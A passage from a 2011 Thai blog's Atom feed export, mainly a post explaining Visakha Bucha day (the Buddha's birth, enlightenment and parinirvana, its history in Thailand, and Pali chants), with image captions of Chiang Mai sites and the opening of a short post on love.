&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785113/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;228&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785113/images/1_original.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;ถนนช้างม่อย&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785136/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;211&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785136/images/1_original.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;วัดพระสิงห์&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785149/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;235&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785149/images/1_original.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;เวียงกุมกาม&lt;br /&gt;
&lt;br /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/8305907912515249913/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/05/blog-post_20.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/8305907912515249913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/8305907912515249913'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/05/blog-post_20.html' title='เชียงใหม่ในแบบภาพวาด'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-2914537845075042972</id><published>2011-05-17T13:35:00.002+07:00</published><updated>2011-05-17T13:35:48.646+07:00</updated><title type='text'>วันวิสาขบูชา</title><content type='html'>&lt;div style=&quot;background-color: transparent; border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;strong&gt;&lt;img alt=&quot;&quot; src=&quot;http://btgsf1.fsanook.com/weblog/entry/184/921748/12554.jpg&quot; /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;strong&gt;วันวิสาขบูชา&lt;/strong&gt;&lt;/span&gt; หมายถึง การบูชาในวันเพ็ญขึ้น 15 ค่ำ เดือน 6 วันวิสาขบูชาเป็นวันสำคัญที่เกี่ยวข้องกับพระพุทธเจ้า 3 ประการ คือ เป็นวันประสูติ ตรัสรู้เป็นพระพุทธเจ้า และปรินิพพาน&lt;br /&gt;
&lt;br /&gt;
ความหมาย คำว่า &lt;strong&gt;&quot;วิสาขบูชา&quot;&lt;/strong&gt; &lt;span style=&quot;color: blue;&quot;&gt;หมายถึงการบูชาในวันเพ็ญเดือน 6 วิสาขบูชา ย่อมาจาก &quot;วิสา - ขบุรณมีบูชา&quot; แปลว่า &quot;การบูชาในวันเพ็ญเดือนวิสาขะ&quot; ถ้าปีใดมีอธิกมาส คือ มีเดือน 8 สองหน ก็เลื่อนไปเป็นกลางเดือน 7&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
ความสำคัญ วันวิสาขบูชา เป็นวันสำคัญยิ่งทางพระพุทธศาสนา เพราะเป็นวันที่พระพุทธเจ้าประสูติ คือเกิด ได้ตรัสรู้ คือสำเร็จ ได้ปรินิพพาน คือ ดับ เกิดขึ้นตรงกันทั้ง 3 คราวคือ&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;1. ประสูติ &lt;/strong&gt;เป็นวันประสูติของเจ้าชายสิทธัตถะ ณ ลุมพินีสถาน เมื่อ&lt;strong&gt;วันเพ็ญเดือน ๖ ตรงกับวันศุกร์ขึ้น ๑๕ ค่ำ ปีจอ ก่อนพุทธศักราช ๘๐ ปี&lt;/strong&gt; เมื่อพระนางสิริมหามายา พระมเหสีของพระเจ้าสุทโธทนะ แห่งกรุงกบิลพัสดุ์ ทรงพระครรภ์แก่จวนจะประสูติ พระนางได้รับพระบรมราชานุญาต จากพระสวามี ให้แปรพระราชฐานไปประทับ ณ กรุงเทวทหะ ซึ่งเป็นพระนครเดิมของพระนาง เพื่อประสูติในตระกูลของพระนางตามประเพณีนิยมในสมัยนั้น ขณะเสด็จแวะพักผ่อนพระอิริยาบถใต้ต้นสาละ ณ สวนลุมพินีวัน พระนางก็ได้ประสูติพระโอรส ณ ใต้ต้นสาละนั้น ครั้นพระกุมารประสูติได้ ๕ วัน ก็ได้รับการถวายพระนามว่า &lt;strong&gt;&lt;span style=&quot;color: blue;&quot;&gt;&quot;สิทธัตถะ&quot;&lt;/span&gt; &lt;/strong&gt;ซึ่งต่อมาพระองค์ได้ออกบวช จนบรรลุอนุตตรสัมมาสัมโพธิญาณ (ญาณอันประเสริฐสูงสุด) สำเร็จเป็นพระอรหันต์สัมมาสัมพุทธเจ้า จึงถือว่าวันนี้เป็นวันประสูติของพระพุทธเจ้า&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;2. ตรัสรู้ &lt;/strong&gt;เป็นวันที่พระพุทธเจ้าตรัสรู้ อนุตตรสัมโพธิญาณ ณ ร่มพระศรีมหาโพธิบัลลังก์ ริมฝั่งแม่น้ำเนรัญชรา ตำบลอุรุเวลาเสนานิคม เมื่อวันเพ็ญเดือน ๖ ก่อนพุทธศักราช ๔๕ ปี การตรัสอริยสัจสี่ คือของจริงอันประเสริฐ ๔ ประการ ของพระพุทธเจ้า เป็นการตรัสรู้อันยอดเยี่ยม ไม่มีผู้เสมอเหมือน วันตรัสของพระพุทธเจ้า จึงจัดเป็นวันสำคัญ เพราะเป็นวันที่ให้เกิดมีพระพุทธเจ้าขึ้นในโลกชาวพุทธทั่วไป จึงเรียกวันวิสาขบูชาว่า วันพระพุทธ(เจ้า) อันมีประวัติว่า &lt;strong&gt;พระมหาบุรุษทรงบำเพ็ญเพียรต่อไป ที่ใต้ต้นพระศรีมหาโพธิ์นั้น ทรงเริ่มบำเพ็ญสมาธิให้เกิดในพระทัย เรียกว่าการเข้า &quot;ฌาน&quot; เพื่อให้บรรลุ &quot;ญาณ&quot; จนเวลาผ่านไปจนถึง ...&lt;br /&gt;
&lt;/strong&gt;&lt;br /&gt;
* ยามต้น : ทรงบรรลุ &lt;span style=&quot;color: blue;&quot;&gt;&quot;ปุพเพนิวาสานุติญาณ&quot;&lt;/span&gt; คือทรงระลึกชาติในอดีตทั้งของตนเองและผู้อื่น&lt;br /&gt;
* ยามสอง : ทรงบรรลุ &lt;span style=&quot;color: blue;&quot;&gt;&quot;จุตูปปาตญาณ&quot;&lt;/span&gt; คือการรู้แจ้งการเกิดและดับของสรรพสัตว์ทั้งหลาย&lt;br /&gt;
* ยามสาม : ทรงบรรลุ &lt;span style=&quot;color: blue;&quot;&gt;&quot;อาสวักขญาณ&quot;&lt;/span&gt; คือรู้วิธีกำจัดกิเลสด้วย อริยสัจสี่ ( ทุกข์ สมุทัย นิโรธ มรรค ) ได้ตรัสรู้เป็นพระสัมมาสัมพุทธเจ้า ในคืนวันเพ็ญเดือน ๖ ซึ่งขณะนั้น พระพุทธองค์มีพระชนมายุได้ ๓๕ พรรษา&lt;br /&gt;
&lt;br /&gt;
ธรรมะที่พระพุทธองค์ทรงตรัสรู้ (อริยสัจ ๔) หรือ ความจริงอันประเสริฐ ๔ ประการ ได้แก่...&lt;br /&gt;
&lt;strong&gt;1. ทุกข์&lt;/strong&gt; คือ ความลำบาก ความไม่สบายกายไม่สบายใจ&lt;br /&gt;
&lt;strong&gt;2. สมุทัย&lt;/strong&gt; คือ เหตุที่ทำให้เกิดทุกข์&lt;br /&gt;
&lt;strong&gt;3. นิโรธ&lt;/strong&gt; คือ ความดับทุกข์ และ&lt;br /&gt;
&lt;strong&gt;4. มรรค&lt;/strong&gt; คือ ข้อปฏิบัติให้ถึงความดับแห่งทุกข์&lt;br /&gt;
ทั้ง ๔ ข้อนี้ถือเป็นสัจธรรม เรียกว่า &lt;strong&gt;อริยสัจ&lt;/strong&gt; เพราะเป็นสิ่งที่พระอริยเจ้าทรงค้นพบ เป็นสัจธรรมชั้นสูง ประเสริฐกว่าสัจธรรมสามัญทั่วไป&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;3. ปรินิพพาน &lt;/strong&gt;เป็นวันปรินิพพานของพระสัมมาสัมพุทธเจ้า ณ ร่มไม้รัง (ต้นสาละ) คู่ ในสาลวโนทยานของมัลลกษัตริย์ ใกล้เมืองกุสินารา เมื่อวันเพ็ญเดือน ๖ ก่อนพุทธศักราช ๑ ปี วันที่พระพุทธเจ้าเสด็จเข้าสู่ปรินิพพาน (ดับสังขารไม่กลับมาเกิดสร้างชาติ สร้างภพอีกต่อไป)&lt;br /&gt;
การปรินิพพานของพระพุทธเจ้า ก็ถือเป็นวันสำคัญของชาวพุทธทั่วโลกเพราะชาวพุทธทั่วโลกได้สูญเสียดวงประทีป ของโลก เป็นการสูญเสียครั้งยิ่งใหญ่และครั้งสำคัญชาวพุทธทั่วไปมีความเศร้าสลด เสียใจและอาลัยสุดจะพรรณนา อันมีประวัติว่าเมื่อพระพุทธองค์ได้ตรัสรู้และแสดงธรรมมาเป็นเวลานานถึง ๔๕ ปี ซึ่งมีพระชนมายุได้ ๘๐ พรรษา ได้ประทับจำพรรษา ณ เวฬุคาม ใกล้เมืองเวสาลี แคว้นวัชชี ในระหว่างนั้นทรงประชวรอย่างหนัก&lt;br /&gt;
ครั้นเมื่อถึงวันเพ็ญเดือน ๖ พระพุทธองค์กับพระภิกษุสงฆ์ทั้งหลาย ก็ไปรับภัตตาหารบิณฑบาตที่บ้านนายจุนทะ ตามคำกราบทูลนิมนต์ พระองค์เสวยสุกรมัททวะที่นายจุนทะตั้งใจทำถวาย ก็เกิดอาพาธลง แต่ทรงอดกลั้นมุ่งเสด็จไปยังเมืองกุสินารา ประทับ ณ ป่าสาละ เพื่อเสด็จดับขันธ์ปรินิพพาน ในราตรีนั้น ได้มีปริพาชกผู้หนึ่ง ชื่อสุภัททะขอเข้าเฝ้า และได้อุปสมบทเป็นพระพุทธสาวกองค์สุดท้าย เมื่อถึงยามสุดท้ายของคืนนั้น พระพุทธองค์ก็ทรงประทานปัจฉิมโอวาทว่า &quot;ดูก่อนภิกษุทั้งหลายอันว่าสังขารทั้งหลายย่อมมีความเสื่อมสลายไปเป็นธรรมดา ท่านทั้งหลายจงยังกิจทั้งปวงอันเป็นประโยชน์ของตนและประโยชน์ของผู้อื่นให้ บริบูรณ์ด้วยความไม่ประมาทเถิด&quot; หลังจากนั้นก็เสด็จเข้าดับขันธ์ปรินิพพาน ในราตรีเพ็ญเดือน ๖ นั้น&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;&lt;span style=&quot;color: blue;&quot;&gt;ความสำคัญของวันวิสาขบูชา&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
พระพุทธเจ้าประสูติ ตรัสรู้ และเสด็จดับขันธปรินิพพานเวียนมาบรรจบในวันและเดือนเดียวกัน คือ วันเพ็ญเดือนวิสาขะ จึงถือว่าเป็นวันที่สำคัญของพระพุทธเจ้า หลักธรรมอันเกี่ยวเนื่องจากการประสูติ ตรัสรู้และเสด็จดับขันธปรินิพพาน คือ ความกตัญญู อริยสัจ ๔ และความไม่ประมาท ประวัติความเป็นมา&lt;br /&gt;
ส่วนที่เกี่ยวกับพระพุทธเจ้า วันวิสาขบูชาเป็นวันสำคัญที่สุดของพระพุทธศาสนา เนื่องจากมีเหตุการณ์สำคัญเกี่ยวกับพระสัมมาสัมพุทธเจ้า ๓ อย่าง เกิดขึ้นในวันเดียวกันคือ ประสูติ ตรัสรู้ธรรม และปรินิพพาน วันวิสาขบูชาตรงกับวันเพ็ญขึ้น ๑๕ ค่ำ เดือน ๖&lt;br /&gt;
ชาวพุทธศาสนิกชนทั่วโลกต่างให้ความสำคัญกับวันวิสาขบูชา นี้ และเมื่อวันที่ ๑๓ ธันวาคม พุทธศักราช ๒๕๔๒ สหประชาชาติได้ยอมรับญัตติที่ประชุม กำหนดให้วันวิสาขบูชาเป็นวันสำคัญของโลก และเป็นวันหยุดวันหนึ่งของสหประชาชาติ เพื่อให้ชาวพุทธทั่วโลกได้มีโอกาสบำเพ็ญบุญเนื่องในวันประสูติ ตรัสรู้ และปรินิพพานของพระบรมศาสดา เจ้าชายสิทธัตถะ ประสูติเมื่อ ๒๖๐๐ กว่าปี ล่วงมาแล้ว&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
พระบิดาพระนามว่าพระเจ้าสุทโธทนะ พระมารดาพระนามว่าพระนางสิริมหามายา ก่อนที่พระองค์จะตรัสรู้เป็นพระสัมมาสัมพุทธเจ้า พระองค์เป็นเจ้าชายในราชสกุลโคตมะ แห่งเมืองกบิลพัสดุ์ซึ่งตั้งอยู่ทางตอนเหนือของประเทศอินเดีย คำว่า &#39;พุทธ&#39; หรือ &#39;พุทธิ&#39; ในภาษาบาลีและสันสกฤตมีความหมายเหมือนกัน แปลว่า ปัญญา หรือ การตรัสรู้&lt;br /&gt;
จากคำสอนในพระไตรปิฎกกล่าวว่า พระพุทธเจ้าคือผู้ที่ตรัสรู้เองโดยชอบ ทรงเป็นผู้รู้สัจจธรรม และทรงมีพระญาณทัศนะกว้างไกลที่พระองค์ทรงรู้เห็นกำเนิด และความเป็นไปของสัตว์โลกตลอดภพสาม มีพระพุทธเจ้านับไม่ถ้วนพระองค์ได้อุบัติขึ้นในโลกนี้ เมื่อแต่ละพระองค์ตรัสรู้ธรรมอันประเสริฐแล้ว ทรงสั่งสอนธรรมะเพื่อให้ชาวโลกพ้นจากวัฏสงสารด้วยมหากรุณา จากพระไตรปิฏก &quot;อปทานสูตร และพุทธวงศ์&quot; กล่าวถึงการสร้างบารมีของพระพุทธเจ้าแต่ละพระองค์ นานนับอสงไขยกว่าที่จะบรรลุพระสัมมาสัมโพธิญาณ&lt;br /&gt;
แม้ในขุททกนิกาย ชาดก ได้เล่าการสร้างบารมีถึง ๕๔๗ ชาติของพระโพธิสัตว์ที่บำเพ็ญบารมี ๑๐ ทัศ มาตลอดกว่าจะได้ตรัสรู้เป็นพระสัมมาสัมพุทธเจ้าในพระชาติสุดท้าย เจ้าชายสิทธัตถะ ทรงเป็นผู้มีบุญที่เพียบพร้อมด้วยสติปัญญา และความเมตตา หลังจากเจ้าชายสิทธัตถะประสูติได้เพียง ๗ วัน พระมารดาก็สวรรคต พระน้านางคือพระนางปชาบดีโคตมี เป็นผู้บำรุงเลี้ยงรักษา หลังจากประสูติได้ไม่นาน พระบิดาได้อัญเชิญอสิตดาบสมาทำนายอนาคตของเจ้าชายสิทธัตถะ อสิตดาบสแสดงอาการประหลาดต่อหน้าพระที่นั่งคือ หัวเราะและร้องไห้ หัวเราะเพราะดีใจที่ได้เห็นเจ้าชายสิทธัตถะ และได้ทำนายว่าเจ้าชายจะตรัสรู้ธรรมเป็นพระสัมมาสัมพุทธเจ้าอย่างแน่นอน แต่ร้องไห้เพราะอสิตดาบสนั้นจะมีอายุไม่ยืนยาวทันรับฟังคำสอนของพระพุทธเจ้า พระองค์นี้ คำทำนายนี้ได้รับการยืนยันจาก โกณฑัญญะ ซึ่งเป็นดาบสอีกท่านหนึ่งที่ทำนายว่า เจ้าชายสิทธัตถะจะสละราชสมบัติ เมื่อผนวชแล้วจะบรรลุธรรมเป็นพระสัมมาสัมพุทธเจ้า&lt;br /&gt;
ส่วนดาบสอื่นๆ ล้วนทำนายว่า ถ้าเจ้าชายสิทธัตถะไม่ทรงผนวช จะได้เป็นพระเจ้าจักรพรรดิ์ คำทำนายดังกล่าวสร้างความตระหนกพระทัยแก่พระเจ้าสุทโธทนะเป็นอย่างยิ่ง พระองค์ทรงปรารถนาจะให้เจ้าชายสิทธัตถะปกครองแว่นแคว้นสืบทอดราชบัลลังก์ต่อ จากพระองค์ และเป็นพระเจ้าจักรพรรดิ์ จึงทรงป้องกันเจ้าชายสิทธัตถะไม่ให้เห็นความทุกข์ทรมาน ความเจ็บปวดต่าง ๆ ที่จะทำให้เจ้าชายสิทธัตถะทรงรู้สึกเบื่อหน่าย และอยากออกบวช&lt;br /&gt;
ด้วยเหตุนี้พระเจ้าสุทโธทนะ จึงทรงมีพระบัญชาให้เหล่าอำมาตย์เสนาบดี ช่วยกันสร้างปราสาทสามฤดูแก่เจ้าชาย ปราสาทแต่ละแห่งแวดล้อมด้วยเหล่าสนมกำนัลที่สวยงาม ชีวิตของเจ้าชายสิทธัตถะก่อนทรงออกผนวช จึงเป็นชีวิตที่เพียบพร้อมด้วย รูปสมบัติ และทรัพย์สมบัติอย่างแท้จริง. เมื่อเจ้าชายทรงพระชนมายุได้ ๒๙ พรรษา พระมเหสีคือพระนางยโสธรา พิมพาประสูติพระโอรส พระนามว่า ราหุล วันหนึ่งเจ้าชายสิทธัตถะได้ทรงรถม้าประพาสสวนนอกเมือง ทรงเห็นคนแก่ คนป่วย คนตาย และนักบวช ภาพคนแก่ คนป่วย และคนตายทำให้พระองค์นึกถึงความทุกข์ และความไม่เที่ยงแท้ของสังขารมนุษย์ ต่อมา&lt;br /&gt;
เจ้าชายสิทธัตถะจึงทรงออกจากวัง ถือเพศเป็นนักบวชเที่ยวภิกขาจารไปเพื่อแสวงหาโมกขธรรม วันเพ็ญขึ้น ๑๕ ค่ำ เดือน ๖ เมื่อมีพระชนมายุได้ ๓๕ พรรษา เจ้าชายสิทธัตถะได้ตรัสรู้ธรรม ณ ใต้ควงต้นพระศรีมหาโพธิ์ ริมฝั่งแม่น้ำเนรัญชรา เป็นพระสัมมาสัมพุทธเจ้า ก่อนที่จะบรรลุธรรม เจ้าชายสิทธัตถะได้แสวงหาผู้สอนวิธีหลุดพ้นแก่พระองค์ ๒ คนคือ อาฬารดาบส และอุทกดาบส ซึ่งทั้งสองนี้สอนพระองค์ให้ได้ญานชั้นสูง แต่ไม่บรรลุธรรม เมื่อพระองค์บรรลุธรรมเป็นพระสัมมาสัมพุทธเจ้าแล้ว ทรงประกาศธรรม เผยแผ่คำสอนที่สามารถทำให้ผู้ปฏิบัติตามพ้นทุกข์ตามพระองค์ไปได้ พระพุทธองค์ ทรงเผยแผ่พระพุทธศาสนาเป็นเวลา ๔๕ ปี ทรงวางรากฐานพระพุทธศาสนา และมีพุทธศาสนิกชนจำนวนมาก ที่ปฏิบัติตามคำสอนของพระองค์ ซึ่งในสมัยนั้นมีตั้งแต่ กษัตริย์ เจ้าชาย พ่อค้า แม่ค้า พราหมณ์ เศรษฐี ยาจกเข็ญใจ และชนทุกชั้นในสังคม&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&lt;strong&gt;ประวัติความเป็นมาของวันวิสาขบูชาในประเทศไทย&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
วันวิสาขบูชานี้ ปรากฏตามหลักฐานว่า ได้มีมาตั้งแต่ครั้งกรุงสุโขทัยเป็นราชธานี ซึ่งสันนิษฐานว่า คงจะได้แบบอย่าง มาจากลังกา กล่าวคือ เมื่อประมาณ พ.ศ. 420 พระเจ้าภาติกุราช กษัตริย์แห่งกรุงลังกา ได้ประกอบพิธีวิสาขบูชาอย่าง มโหฬาร เพื่อถวายเป็นพุทธบูชา กษัตริย์ลังกาในรัชกาลต่อ ๆ มา ก็ทรงดำเนินรอยตาม แม้ปัจจุบันก็ยังถือปฏิบัติอยู่ สมัยสุโขทัยนั้น ประเทศไทยกับประเทศลังกามีความสัมพันธ์ด้านพระพุทธศาสนาใกล้ชิดกันมากเพราะ พระสงฆ์ชาวลังกา ได้เดินทางเข้ามาเผยแพร่พระพุทธศาสนา และเชื่อว่าได้นำการประกอบพิธีวิสาขบูชามาปฏิบัติในประเทศไทยด้วย&lt;br /&gt;
ใน หนังสือนางนพมาศได้กล่าวบรรยากาศการประกอบพิธีวิสาขบูชาสมัยสุโขทัยไว้ พอสรุปใจความได้ว่า &quot; เมื่อถึงวันวิสาขบูชา พระเจ้าแผ่นดิน ข้าราชบริพาร ทั้งฝ่ายหน้า และฝ่ายใน ตลอดทั้งประชาชนชาวสุโขทัยทั่วทุก หมู่บ้านทุกตำบล ต่างช่วยกันทำความสะอาด ประดับตกแต่งพระนครสุโขทัยเป็นการพิเศษ ด้วยดอกไม้ของหอม จุดประทีปโคมไฟแลดูสว่างไสวไปทั่วพระนคร เป็นการอุทิศบูชาพระรัตนตรัย เป็นเวลา 3 วัน 3 คือ พระมหากษัตริย์ และบรมวงศานุวงศ์ ก็ทรงศีล และทรงบำเพ็ญพระราชกุศลต่างๆ ครั้นตกเวลาเย็น ก็เสด็จพระราช ดำเนิน พร้อมด้วยพระบรมวงศานุวงศ์ และนางสนองพระโอษฐ์ตลอดจนข้าราชการทั้งฝ่ายหน้า และฝ่ายใน ไปยังพระ อารามหลวง เพื่อทรงเวียนเทียนรอบพระประธาน&lt;br /&gt;
ส่วนชาวสุโขทัยชวนกันรักษาศีล ฟังธรรมเทศนา ถวายสลากภัต ถวายสังฆทาน ถวายอาหารบิณฑบาต แด่พระภิกษุ สามเณรบริจาคทรัพย์แจกเป็นทานแก่คนยากจน คนกำพร้า คนอนาถา คนแก่ คนพิการ บางพวกก็ชวนกันสละทรัพย์ ปล่อยสัตว์ 4 เท้า 2 เท้า และเต่า ปลา เพื่อชีวิตสัตว์ให้เป็นอิสระ โดยเชื่อว่าจะทำให้คนอายุ ยืนยาวต่อไป&quot;&lt;br /&gt;
ในสมัยอยุธยา สมัยธนบุรี และสมัยรัตนโกสินทร์ตอนต้น ด้วยอำนาจอิทธิพลของศาสนาพราหมณ์ เข้าครอบงำประชาชนคนไทย และมีอิทธิพลสูงกว่าอำนาจของพระพุทธศาสนา จึงไม่ปรากฎหลักฐานว่า ได้มีการประกอบพิธีบูชาในวันวิสาขบูชา จนมาถึงรัชสมัยพระบาทสมเด็จพระพุทธเลิศหล้านภาลัยรัชกาลที่ 2 แห่งกรุงรัตนโกสินทร์ (พ.ศ. 2360) ทรงดำริกับ สมเด็จพระสังฆราช (มี) สำนักวัดราชบูรณะ มีพระราชประสงค์จะให้ฟื้นฟู การประกอบพระราชพิธีวันวิสาขบูชาขึ้นใหม่ โดย สมเด็จพระสังฆราช ถวายพระพรให้ทรงทำขึ้น เป็นครั้งแรกในวันขึ้น 14 ค่ำ 15 ค่ำ และวันแรม 1 ค่ำ เดือน 6 พ.ศ. 2360 และให้จัดทำตามแบบอย่างประเพณีเดิมทุกประการ เพื่อมีพระประสงค์ให้ประชาชนประกอบการบุญการกุศล เป็นหนทางเจริญอายุ และอยู่เย็นเป็นสุขปราศจากทุกข์โศกโรคภัย และอุปัทวันตรายต่างๆ โดยทั่วหน้ากัน&lt;br /&gt;
ฉะนั้น การประกอบพิธีในวันวิสาขบูชาในประเทศไทย จึงได้รื้อฟื้นให้มีขึ้นอีกครั้งหนึ่งในรัชสมัย พระบาทสมเด็จพระพุทธเลิศหล้านภาลัย รัชกาลที่ 2 และถือปฏิบัติมาจวบจนกระทั่งปัจจุบัน&lt;br /&gt;
การจัดงานเฉลิมฉลองในวันวิสาขบูชาที่ยิ่งใหญ่กว่าทุกยุค ทุกสมัย คงได้แก่การจัดงานเฉลิมฉลอง วันวิสาขบูชา พ.ศ.2500 ซึ่งทางราชการเรียกว่างาน &quot; ฉลอง 25 พุทธศตวรรษ &quot; ตั้งแต่วันที่ 12 ถึง 18 พฤษภาคม รวม 7 วัน ได้จัดงานส่วนใหญ่ขึ้นที่ท้องสนามหลวง ส่วนสถานที่ราชการ และวัดอารามต่างๆ ประดับธงทิวและโคมไฟสว่างไสวไปทั่วพระ ราชอาณาจักร ประชาชนถือศีล 5 หรือศีล 8 ตามศรัทธาตลอดเวลา 7 วัน มีการอุปสมบทพระภิกษุสงฆ์รวม 2,500 รูป ประชาชน งดการฆ่าสัตว์ และงดการดื่มสุรา ตั้งแต่วันที่ 12 ถึง 14 พฤษภาคม รวม 3 วัน มีการก่อสร้าง พุทธมณฑล จัดภัตตาหาร เลี้ยงพระภิกษุสงฆ์วันละ 2,500 รูป ตั้งโรงทานเลี้ยงอาหารแก่ประชาชน วันละ 200,000 คน เป็นเวลา 3 วัน ออกกฎหมาย สงวนสัตว์ป่าในบริเวณนั้น รวมถึงการฆ่าสัตว์ และจับสัตว์ในบริเวณวัด และหน้าวัดด้วย และได้มีการปฏิบัติธรรมอันยิ่งใหญ่ อย่างพร้อมเพรียงกัน เป็นกรณีพิเศษ ในวันวิสาขบูชาปีนั้นด้วย&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;&lt;span style=&quot;color: blue;&quot;&gt;บทสรรเสริญ พระพุทธคุณ&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
อิติปิ โส ภะคะวา อะระหัง สัมมาสัมพุทโธ วิชชาจะระณะสัมปนโน สุคะโต โลกะวิทู อะนุตตะโร ปุริสสะธัมมะสาระถิ สัตถาเทวะมนุสสานัง พุทโธ ภะคะวาติ บทสรรเสริญ พระธรรมคุณ&lt;br /&gt;
สวากขาโต ภะคะวา ธัมโม สันทิฏฐิโก อะกาลิโก เอหิปัสสิโก โอปะนะยิโก ปัจจัตตัง เวทิตัพโพ วิญญูติ. บทสรรเสริญ พระสังฆคุณ&lt;br /&gt;
สุปะฏิปันโน ภะคะวะโต สาวะกะสังโฆ อุชุปฏิปันโน ภะคะวะโต สาวะกะสังโฆ ญายะปฎิปันโน ภะคะวะโต สาวะกะสังโฆ สามีจิปฎิปันโน ภะคะวะโต สาวะกะสังโฆ ยะทิทัง จัตตาริ ปุริสสะ ยุคานิ อัฏฐะ ปุริสะปุคคะลา เอสะ ภะคะวะโต สาวะกะสังโฆ อาหุเนยโย ปาหุเนยโย ทักขิเนยโย อัญชะลีกะระนีโย อะนุตตะรัง ปุญญะเขตตัง โลกัสสาติ&lt;br /&gt;
จากนั้นก็จะกระทำ ประทักษิณ หรือที่เรียกว่า เวียนเทียน รอบพระธาตุเจดีย์ หรือพระพุทธปฎิมาในพระอุโบสถ ด้วยการเดินเวียนขวาสามรอบ รอบแรกจะสวดบทสรรเสริญพระพุทธคุณ รอบที่สองจะสวดบทสรรเสริญพระธรรมคุณ และรอบที่สามสวดบทสรรเสริญพระสังฆคุณ เมื่อครบ 3 รอบแล้วจึงนำดอกไม้ ธูป เทียน ไปบูชาพระธาตุเจดีย์ หรือพระพุทธรูปในพระอุโบสถ ณ ที่บูชาอันควรเป็นอันเสร็จพิธีเวียนเทียน&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/2914537845075042972/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/05/blog-post_17.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/2914537845075042972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/2914537845075042972'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/05/blog-post_17.html' title='วันวิสาขบูชา'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-3893155933511942805</id><published>2011-05-16T15:37:00.000+07:00</published><updated>2011-05-16T15:37:52.031+07:00</updated><title type='text'>ทำไมเราต้องมี...ความรัก</title><content type='html'>เคยถามตัวเองบ้างไหม...ว่าทำไมเราต้องมี &quot;ความรัก&quot;&lt;br /&gt;
เคยถามตัวเองบ้างไหม...ว่าทำไมเราต้องรักคนๆ หนึ่งมากกว่าตัวเอง&lt;br /&gt;
เคยถามตัวเองบ้างไหม...ว่าทำไมเราต้องคิดถึงเค้าก่อนคนอื่นเสมอ&lt;br /&gt;
เคยถามตัวเองบ้างไหม...ว่าทำไมเราต้องแคร์เค้ามากกว่าทุกสิ่ง&lt;br /&gt;
เคยถามตัวเองบ้างไหม...ว่าทำไมเราต้องรอคอยเค้า&lt;br /&gt;
